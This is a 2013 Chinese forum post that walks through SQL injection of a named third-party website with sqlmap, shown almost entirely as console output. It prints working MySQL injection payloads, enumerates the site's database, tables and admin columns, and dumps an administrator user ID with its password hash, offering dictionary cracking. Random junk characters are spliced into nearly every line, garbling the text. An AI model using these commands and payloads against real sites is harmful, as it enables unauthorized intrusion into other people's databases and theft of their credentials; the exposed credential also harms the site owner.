找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2717|回复: 0
打印 上一主题 下一主题

sqlmap实例注入mysql

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:18:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
- r+ @" G, S1 D* H; r4 d" B+ e6 I. lms "Mysql" --current-user       /*  注解:获取当前用户名称
1 o3 w5 Z! J+ z4 v/ I    sqlmap/0.9 - automatic SQL injection and database takeover tool
  V- T+ \' T+ g    http://sqlmap.sourceforge.net
  • starting at: 16:53:54
      H8 `! F- u% ~+ t9 v! N, S[16:53:54] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
    . y  j9 h6 e. M: |  V* x session file4 @! r( a' M3 p: b& C$ e( H! Y
    [16:53:54] [INFO] resuming injection data from session file3 b  y9 {& C( B1 m2 }+ y) z8 Z
    [16:53:54] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
    . }6 F  j, v/ [8 z/ _- f4 q6 w' r[16:53:54] [INFO] testing connection to the target url
    " U7 I9 ]& l8 S+ H- f* s5 A5 Ksqlmap identified the following injection points with a total of 0 HTTP(s) reque
    % D# G, S. {8 e) i) {; c6 Y  A# jsts:
    1 V; d2 K5 |2 }---* b7 q- W+ l5 Z( `
    Place: GET1 Y9 T. G6 e9 t' J+ Z; \( C9 c2 I+ {
    Parameter: id1 }. @9 s0 g) {, F6 Y  f7 B) |* z
        Type: boolean-based blind
    3 c" B* i4 D6 w/ ?    Title: AND boolean-based blind - WHERE or HAVING clause- K3 u7 N$ h+ V$ I9 d
        Payload: id=276 AND 799=799" m& W, m/ T5 }5 r
        Type: error-based
    - p5 g  f" C4 @( @) N8 }+ x    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    " A  I: p0 L6 P; a0 W( o# d    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
    2 B/ T" I' n; t! C2 E5 I, @120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58& k/ G. ]! ^6 ^! k9 u9 L, j+ m2 u5 C
    ),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)+ r' N# B# y+ D4 ?; r& e
        Type: UNION query
    % S( q' |9 \7 Y5 u9 l0 ~    Title: MySQL UNION query (NULL) - 1 to 10 columns9 E2 L' {2 V$ m- f; h- d6 L* M& C
        Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR: ^' K* h% |) s
    (58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
    / @. @# A8 w/ c% p1 K1 \CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#- H, {# C& e1 e
        Type: AND/OR time-based blind; M. {2 \( v3 v3 m+ V
        Title: MySQL > 5.0.11 AND time-based blind& e8 J) Z/ s5 p& M1 L- p# ]8 t
        Payload: id=276 AND SLEEP(5); C' E1 Y5 h/ {9 x
    ---
    3 p7 d2 t- W! V[16:53:55] [INFO] the back-end DBMS is MySQL
      S$ v; S/ ^* ^( ]9 ?- r# R8 Oweb server operating system: Windows
    1 L: T; H, d3 V/ d2 Cweb application technology: Apache 2.2.11, PHP 5.3.0
    : D4 s( K/ g& x. D1 t1 p+ C3 f4 Kback-end DBMS: MySQL 5.0" s1 D5 w* K' k1 I1 `3 c# a3 Q
    [16:53:55] [INFO] fetching current user
    ; d( Q! n% W6 z6 Qcurrent user:    'root@localhost'   7 o) Q* o: G& b
    [16:53:58] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
    4 _6 P% `$ n5 R) C1 Y; B* Ktput\www.wepost.com.hk'
  • shutting down at: 16:53:584 m! B. {  L) _! n- h& d
    + t7 n( R* c7 s$ _
    D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
    0 ]6 W  C: ?) l$ \& W: C9 bms "Mysql" --current-db                  /*当前数据库2 g/ @% X- {' V! L3 b' s
        sqlmap/0.9 - automatic SQL injection and database takeover tool
    2 F+ G% g8 c6 b9 d5 m    http://sqlmap.sourceforge.net
  • starting at: 16:54:16
    0 r8 \" L' H3 O( @: V3 j! @. m[16:54:16] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
    ; v- h' ?% W9 A3 S session file4 ?" ?0 b" |+ ^, i% Z; T
    [16:54:16] [INFO] resuming injection data from session file. l, Z9 u8 `1 @  j
    [16:54:16] [INFO] resuming back-end DBMS 'mysql 5.0' from session file4 q4 X7 j! O' b) H- u
    [16:54:16] [INFO] testing connection to the target url
    : Y% u& h( `0 P, w* z$ Ssqlmap identified the following injection points with a total of 0 HTTP(s) reque1 U/ Q& P) a( o% D' `
    sts:! S/ |$ o! Q: I- E
    ---
    . O& t5 U: f9 s: k; h3 ]. MPlace: GET
    % L, [# ]# d  U! i% j, O. \: RParameter: id  ]7 q4 F! i( ]7 ]/ Y2 A
        Type: boolean-based blind
    3 O( V  s3 Q/ c; F  p0 _    Title: AND boolean-based blind - WHERE or HAVING clause9 Z! l3 }, _. {) U; \
        Payload: id=276 AND 799=799
    ; ?) E# d+ w0 Y: J2 \6 H0 Y    Type: error-based
    ( i6 g9 V4 s- f* B6 t& D7 `8 P    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause, ^% |( d) ~$ u2 b- Q$ i  {" G" L
        Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
    ! V/ E9 |3 d: e7 s% M7 |) M120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
    5 |4 `, l' t5 L* u+ h  k- C7 @6 D),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    ( W* u% ~2 {  w# v; j    Type: UNION query/ K8 \" n$ z+ s" C( l  S
        Title: MySQL UNION query (NULL) - 1 to 10 columns9 P4 f. o( M3 Z: _1 f
        Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
    1 D# a) X3 f  j5 V(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),* C% C" \3 w' M
    CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#' O  Q5 C+ \7 u: Z3 k3 h0 P
        Type: AND/OR time-based blind
    & s. W3 F6 T; D) I    Title: MySQL > 5.0.11 AND time-based blind
    . I( ], O6 Y3 k% Z- T    Payload: id=276 AND SLEEP(5)$ U; g0 ]- c5 [
    ---
    " }& E' h5 g+ T9 {[16:54:17] [INFO] the back-end DBMS is MySQL( a% q) p3 H; h9 `: {9 i" `( D
    web server operating system: Windows5 z  k& C6 ^4 q: f9 P- {$ m
    web application technology: Apache 2.2.11, PHP 5.3.0& D% z# {; k6 v* H* `# k* e
    back-end DBMS: MySQL 5.0$ O8 W: D8 R# n# G. `$ N
    [16:54:17] [INFO] fetching current database
    # p8 s: s3 Q* M# E$ C/ Fcurrent database:    'wepost'
    8 r* |2 Q; q6 F) R$ y% F9 p7 e0 _[16:54:18] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou6 j" D. S) j" \) s) f! S
    tput\www.wepost.com.hk'
  • shutting down at: 16:54:18
    & ^: m! a$ z( vD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
    + O1 m5 S! E" S, m# z+ ~ms "Mysql" --tables  -D "wepost"         /*获取当前数据库的表名
    1 r9 d1 _8 n7 C    sqlmap/0.9 - automatic SQL injection and database takeover tool
    7 W( b/ H5 f# C6 F3 H2 u    http://sqlmap.sourceforge.net
  • starting at: 16:55:25  M4 w+ E$ g! P: K# U& }
    [16:55:25] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
    # u) v3 H# y# {8 U, [( b session file- Y% ?+ i8 [1 ^$ y" P& u9 v
    [16:55:25] [INFO] resuming injection data from session file! C% y# J, z  n: B" E, u
    [16:55:25] [INFO] resuming back-end DBMS 'mysql 5.0' from session file* `2 c+ p+ a6 y) G
    [16:55:25] [INFO] testing connection to the target url
    9 u* x/ L+ F# F9 Ysqlmap identified the following injection points with a total of 0 HTTP(s) reque
    & @5 f7 ?$ `* p1 c6 ?. s% X+ Z6 Jsts:9 z$ D# [& {) ?0 p
    ---
    ' K- G/ x: V! R8 h' |" dPlace: GET
    , j  o3 a  b) I* s# R1 w0 QParameter: id
    2 l8 M$ ]  ?, M. _    Type: boolean-based blind4 v+ ?  L/ f1 e* y
        Title: AND boolean-based blind - WHERE or HAVING clause
    ' L, L1 w& P9 P    Payload: id=276 AND 799=799
    0 a, k0 [  I6 Z' Z8 h" `2 _    Type: error-based" Z, J4 ^- r! q) k& w0 U- @! Q" U) I+ F
        Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause) I$ W% A9 J! D- `3 o
        Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,6 s9 L/ ^  e, O2 \; X
    120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,585 @3 o- j2 I- L: {  p+ t7 s" h
    ),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)! M: W# F& r' H& @( p2 w
        Type: UNION query- |. t# E8 E& S8 }
        Title: MySQL UNION query (NULL) - 1 to 10 columns1 i9 N& d5 ~7 _. J( @9 l
        Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
    & G7 y+ c7 t& g0 E(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
    2 n/ ~# P" N* T3 ]CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#2 e3 C' b0 n( z* p, l, I( p+ j
        Type: AND/OR time-based blind; ?" o, J- c* V( v0 E. ?; T' H
        Title: MySQL > 5.0.11 AND time-based blind) M+ {/ }, S: X/ K
        Payload: id=276 AND SLEEP(5), Y5 r! O, H5 ~* z
    ---! y% |& r# \, P3 g, y
    [16:55:26] [INFO] the back-end DBMS is MySQL% |* [$ |0 ]- O: t: v
    web server operating system: Windows
    % F- _  g& o' u! u6 x5 Fweb application technology: Apache 2.2.11, PHP 5.3.00 y, b" j" r5 L; l* L6 w2 L/ C
    back-end DBMS: MySQL 5.0
    9 C  p; r: Z- _' ~( ~. w9 V[16:55:26] [INFO] fetching tables for database 'wepost'
    + M8 {$ d0 c* D% @, x4 n[16:55:27] [INFO] the SQL query used returns 6 entries
    9 E3 Z" f) C# l% O$ R! d7 Q: hDatabase: wepost/ @3 P: t" n$ {
    [6 tables]
    $ v; p1 s! }! }6 U+-------------+( Z# B" [7 _' O* @
    | admin       |
    : l# M# Q* \: f| article     |$ @" Q# j) k& x4 }2 ~
    | contributor |+ _8 u( [. T8 E# r
    | idea        |# ^: B% ~* P3 V4 [3 o, d( F' p
    | image       |
    0 M  z. H& e4 L4 r- L| issue       |/ g1 I2 |6 y* T; _
    +-------------+
    ; |& `  c& ]! x4 s3 u8 t[16:55:33] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
    ) s: f- N$ k2 A# X* x5 Y9 w7 [, `tput\www.wepost.com.hk'
  • shutting down at: 16:55:337 r9 z# O) k. z0 \

    , d) i4 n5 |% I& s5 nD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db) g, f9 F, K; z( Y" ]2 i5 c- }
    ms "Mysql" --columns -T "admin" users-D "wepost" -v 0     /*获取admin表的字段名: E8 y- H5 m. N7 X. T5 L' s& r
        sqlmap/0.9 - automatic SQL injection and database takeover tool( R6 N8 g6 s, ?/ D
        http://sqlmap.sourceforge.net
  • starting at: 16:56:06
    $ z4 `( I6 N3 T2 Psqlmap identified the following injection points with a total of 0 HTTP(s) reque; ^' s+ }$ s( K  _, W
    sts:3 P/ G0 W% ?. S! x
    ---7 D; o. D( [! x1 Q( _
    Place: GET
    " k" z! e9 P' vParameter: id
    , k8 R2 z* G4 W" c    Type: boolean-based blind
    3 W% O( M: F$ O, V, E, V    Title: AND boolean-based blind - WHERE or HAVING clause
    " Q3 f& W$ R! ~2 T0 j7 ^    Payload: id=276 AND 799=799: Z- o8 c1 v0 Y/ I/ {) f3 g
        Type: error-based, d3 c$ O7 N7 ]1 Q/ d% g2 ~
        Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause( R% `# U% H. G, l
        Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
    / _6 a5 w) V) a& V" y# ?, B120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,580 g5 H4 J8 J% ^. |
    ),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)* t, p4 G1 M2 ]( r1 J/ {* V
        Type: UNION query
    8 d! T) p& m4 H/ s# K1 C    Title: MySQL UNION query (NULL) - 1 to 10 columns! Q& x4 I( B  Y8 [# `5 v$ X
        Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
    $ |: b, }; O! k8 {! B; B(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),- p' r3 S4 w: V( g
    CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#% y2 [3 ]. f  j3 ]+ g  D/ X
        Type: AND/OR time-based blind
    ) S2 a4 B+ C0 e, {    Title: MySQL > 5.0.11 AND time-based blind
    2 V) x7 `6 w2 D& x    Payload: id=276 AND SLEEP(5)4 L$ }2 S/ t! S' K8 c+ Y
    ---) C+ }9 x6 N; t, r! K
    web server operating system: Windows
    6 [3 I2 L6 f7 x% L* D2 I1 Bweb application technology: Apache 2.2.11, PHP 5.3.04 a' S& j  o/ b& B
    back-end DBMS: MySQL 5.0
    5 L) z7 j1 j- n" Q[16:56:11] [INFO] read from file 'D:\Python27\sqlmap\output\www.wepost.com.hk\se
    * x* q, M5 [7 ]! e) wssion': wepost, wepost
    & `2 I8 [6 {: V4 h, {: oDatabase: wepost
    ) G8 L. S' I  E( S; mTable: admin% `2 E' w, M% \2 J$ d' L8 g
    [4 columns]4 N3 H# t! Y( C# K2 K
    +----------+-------------+" s* `& O! N4 i& Q* Y
    | Column   | Type        |+ K: `' w' J! H4 D
    +----------+-------------+. i: @0 X& d% Y: n( ?7 J
    | id       | int(11)     |5 h6 o3 u. E0 r  m$ X8 X
    | password | varchar(32) |
    $ F" G+ W- U, Y) n" i4 M3 e- B| type     | varchar(10) |
    ! @' l5 N9 }9 ^$ L: b/ N* w, S| userid   | varchar(20) |
    4 S# q) b* @* M) ^/ H+----------+-------------+
    8 [" }* [/ i# `0 I, h
  • shutting down at: 16:56:19
    2 A! M& n& N7 r, y# G1 s0 y9 P1 k) K. @/ ~9 K
    D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db2 S! z4 _& c. Q% M2 _1 L6 ?1 y7 R9 G
    ms "Mysql"  --dump  -C "userid,password"  -T "admin" -D "wepost" -v 0      /*获取字段里面的内容1 e- a4 L# w  I* D; B6 o% G- r
        sqlmap/0.9 - automatic SQL injection and database takeover tool
    9 E4 u0 H; Y, ?8 ^% G1 k2 b    http://sqlmap.sourceforge.net
  • starting at: 16:57:144 D, e/ P( C: e. Q* @5 h% T
    sqlmap identified the following injection points with a total of 0 HTTP(s) reque1 q  _: h4 P* @8 _
    sts:( d& U4 h  H& n7 `
    ---
    6 @9 p' N% x$ j! ?$ \% i9 @Place: GET, [. i0 W4 g2 s# [5 f" z7 `
    Parameter: id
    - _3 F' r/ I/ c8 {" v' ^    Type: boolean-based blind
    & d% Q+ C8 I5 m* ?3 h    Title: AND boolean-based blind - WHERE or HAVING clause. v- g7 E/ B( h0 ~# a  ]7 K
        Payload: id=276 AND 799=799! B, W; s6 b/ P
        Type: error-based1 `; X& V7 Y- D( G
        Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    5 Q, Y" Z4 Z+ W" j6 A# J9 o    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,# |- H- u  D; Z" F0 Z( W! O
    120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
    7 S: \7 L: o1 K& X- _0 E" x),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)" h5 `6 X: }/ P( P/ P7 V0 I0 S
        Type: UNION query% x, [2 z: z$ \" Q
        Title: MySQL UNION query (NULL) - 1 to 10 columns
    : S) k0 X" E$ g' m/ M, Q    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
    + Q' Y6 T% y/ y# q1 Y(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
    ! `& q* m6 A8 A$ @+ rCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#" `0 P& f* x3 [# P
        Type: AND/OR time-based blind
    # d6 Y* j+ A& u4 A1 |8 T* u    Title: MySQL > 5.0.11 AND time-based blind' _# Q3 p+ Q  ^+ N% R. X) t* j
        Payload: id=276 AND SLEEP(5)
    1 T: v5 n, [  z# E; S---1 i# r( n2 |" F& R
    web server operating system: Windows
    # K3 {) S) I. ]" n  aweb application technology: Apache 2.2.11, PHP 5.3.0
    0 W8 X" B9 b! k5 |back-end DBMS: MySQL 5.0
    0 l- r+ o1 i. s# X8 lrecognized possible password hash values. do you want to use dictionary attack o. ~+ q; o* l9 b7 I% {
    n retrieved table items? [Y/n/q] y
    , u; J+ K/ r$ k) j. g9 l0 H1 }( \# j9 Gwhat's the dictionary's location? [D:\Python27\sqlmap\txt\wordlist.txt]
    + `' |( j8 U0 I1 r/ Cdo you want to use common password suffixes? (slow!) [y/N] y
    $ a& R- j6 t' U7 s" q9 cDatabase: wepost+ A+ X* V3 H) [+ }; D) Z
    Table: admin
    : ]+ s% t0 @# ^( [[1 entry], F7 @* ^# R) x" J0 G/ L+ X1 N0 r" m
    +----------------------------------+------------+
    7 F6 R9 p( a3 J' L. g9 d, L| password                         | userid     |
    7 H, G: S; N" F4 a: t( I9 s+----------------------------------+------------+' p1 D+ Z5 X  P% k1 z" [4 |2 z# V: }
    | 7d4d7589db8b28e04db0982dd0e92189 | wepost2010 |! ~  @2 }# R. ^* P  h: s
    +----------------------------------+------------+
    1 I( r" M  i: o6 ^6 S
  • shutting down at: 16:58:14
    - v! x/ Z; ]) u% f' u+ i7 i- V6 b. o5 b% r+ b! S7 {4 U. w; B
    D:\Python27\sqlmap>
  • 回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    快速回复 返回顶部 返回列表